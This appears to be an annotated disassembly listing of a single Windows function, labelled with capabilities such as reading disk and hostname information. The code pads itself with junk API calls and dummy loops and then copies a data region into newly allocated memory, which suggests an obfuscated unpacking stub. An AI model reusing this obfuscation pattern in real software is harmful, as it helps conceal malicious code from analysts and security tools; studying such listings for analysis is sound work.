Function at 0x459e52
Capabilities:
Accept command line arguments
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd44
mov eax, dword [0x461004]
xor eax, esp
mov dword [esp + 0xd40], eax
push ebx
push esi
xor esi, esi
push edi
xor eax, eax
cmp eax, 0x18a
jne 0x459e8c
mov ecx, dword [0x4627b0]
add ecx, 0x9e49
mov dword [0x4713ac], ecx
cmp dword [0x4713ac], 0x141
jne 0x459ea9
or dword [0x4636c4], 0xffffffff
mov dword [0x4636c0], 0xec58acac
inc eax
cmp eax, 0x1237750
jl 0x459e73
xor edi, edi
cmp edi, 0x565415
jne 0x459ec5
mov eax, dword [0x461fe8]
mov dword [0x4714dc], eax
cmp dword [0x4713ac], 0x3c
jne 0x459ee3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5f1e54
jl 0x459eb3
cmp dword [0x4713ac], 0x7c
jne 0x459fd0
push esi
lea eax, [esp + 0x54c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.USER32.dll_GetActiveWindow]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
lea eax, [esp + 0x10]
push eax
push esi
lea eax, [esp + 0x154]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_IntersectRect]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea eax, [esp + 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x2e
lea eax, [esp + 0x6c]
push esi
push eax
mov dword [esp + 0x70], esi
call fcn.00406ad0
add esp, 0xc
push esi
lea eax, [esp + 0x68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x4713ac], 0x54
jne 0x459fc2
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
push str.emuritowuwep
call edi
push esi
call fcn.00401302
push esi
call fcn.00401318
pop ecx
pop ecx
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x25932
jg 0x45a007
inc edi
cmp edi, 0xead1d
jl 0x459fd2
jmp 0x45a01b
cmp dword [0x4713ac], 0xa
jne 0x45a01b
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x4713ac], 0x2a
jne 0x45a0cb
push esi
push esi
push esi
mov dword [0x4713a0], esi
mov dword [0x4713a4], esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push esi
push esi
lea eax, [esp + 0x550]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
fld qword [0x45f4e8]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x45f4b4
push str._s__f__c
call fcn.00401323
push esi
call fcn.004011ca
mov ebx, 0x45f4c4
push ebx
push str.0__f
mov edi, 0x463638
push edi
call fcn.00401093
push esi
call fcn.004010ad
push esi
push esi
call fcn.0040113b
push ebx
push str._s__c
push edi
call fcn.00401323
call fcn.00407c1d
push esi
push esi
call fcn.0040113b
add esp, 0x44
push esi
push esi
call fcn.00401294
push esi
push esi
call fcn.0040113b
add esp, 0x10
push dword [0x4713ac]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x4713ac]
xor edi, edi
mov dword [0x4711f4], eax
cmp ecx, esi
jbe 0x45a110
mov edx, dword [0x4714dc]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x45a10b
mov dword [0x4711f8], 0x19b0
inc edi
cmp edi, ecx
jb 0x45a0e9
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00459b64
call fcn.00459b46
call fcn.00459dbf
xor eax, eax
cmp eax, 0xd606b
jne 0x45a138
call fcn.00459b3b
inc eax
cmp eax, 0x24e87d
jl 0x45a12c
mov dword [0x4711fc], 0x8e46a6f0
cmp esi, 0x408e
jle 0x45a15c
cmp dword [esp + 0x44], 0xf5bed7
jne 0x45a165
inc esi
cmp esi, 0x687ed2
jl 0x45a14a
mov ecx, dword [esp + 0xd4c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret